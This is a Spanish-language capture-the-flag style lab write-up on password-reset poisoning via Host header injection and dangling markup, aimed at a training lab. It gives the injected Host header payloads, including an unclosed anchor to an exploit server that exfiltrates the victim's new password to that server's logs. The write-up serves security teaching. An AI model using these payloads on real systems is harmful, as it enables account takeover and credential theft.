> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# Envenenamiento del restablecimiento de contraseñas mediante marcado colgante

### Envenenamiento del restablecimiento de contraseña mediante marcado colgante

**Descripción del laboratorio**

Este laboratorio es vulnerable a una **envenenamiento del restablecimiento de contraseña mediante marcado colgante**. / Al usar una gestión HTML incorrecta en el correo de restablecimiento, es posible desviar el enlace enviado a un usuario y recuperar su nueva contraseña.

**Objetivo:** iniciar sesión en **la cuenta de Carlos**.

**Credenciales proporcionadas:**

* Usuario: `wiener`
* Contraseña: `peter`

<figure><img src="/files/fc89d3e5d58f55a56c860b331ba7dc61b53e7590" alt=""><figcaption></figcaption></figure>

Todos los correos electrónicos se pueden ver a través del cliente de correo del servidor operativo\*\*.

<figure><img src="/files/79d0f25438cac82ed9107e972164672b09ffe808" alt=""><figcaption></figcaption></figure>

**Observación inicial**

Hay disponible una función de restablecimiento de contraseña. / Después de la solicitud, se envía un correo electrónico HTML con el siguiente contenido:

{% code overflow="wrap" %}

```http
<p>¡Hola!</p><p>Por favor, <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>haga clic aquí</a> para iniciar sesión con su nueva contraseña: AGSoZyzfot</p><p>Gracias,<br/>Equipo de soporte</p><i>Este correo electrónico ha sido analizado por el servicio de seguridad de correo de MacCarthy</i>
```

{% endcode %}

El enlace de conexión se construye dinámicamente a partir del **Host** encabezado de la solicitud.

**Análisis de comportamiento**

Si cambias el encabezado Host para incluir un puerto arbitrario:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

El puerto se refleja correctamente en el correo recibido. / Esto confirma que el valor de **Host** está incrustado sin validación estricta en el HTML del correo electrónico.

<figure><img src="/files/f35c34f9ddb2d170a0b0558c7cd323856bfe5f5f" alt=""><figcaption></figcaption></figure>

**Explotación mediante marcado colgante**

A continuación, se inyecta un valor de Host que contiene un apóstrofo, rompiendo así el atributo HTML:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

El contenido es interpretado por el cliente de correo, lo que indica una inyección HTML aprovechable.

<figure><img src="/files/0a91d89a45d14b30cd082ffe3a1ceb28f4840be5" alt=""><figcaption></figcaption></figure>

**Carga útil final**

Este comportamiento se aprovecha abriendo un `<a href>` etiqueta sin cerrarla correctamente, de modo que el resto del contenido del correo electrónico (incluida la contraseña) se interpreta como parte de la URL:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="/files/a3484b933c0a08d07c5786c7c18d7d5fa8c5a95a" alt=""><figcaption></figcaption></figure>

**Resultado**

Cuando se genera y envía el correo electrónico a **carlos**, el cliente de correo interpreta el HTML inyectado. / La nueva contraseña se incluye entonces en la URL y se transmite automáticamente al **servidor**.

La contraseña de Carlos se recupera de los registros del servidor, lo que te permite iniciar sesión en su cuenta y validar el laboratorio.

<figure><img src="/files/1abf20ca46cae77ca02d3037d6b4524be9e71b07" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.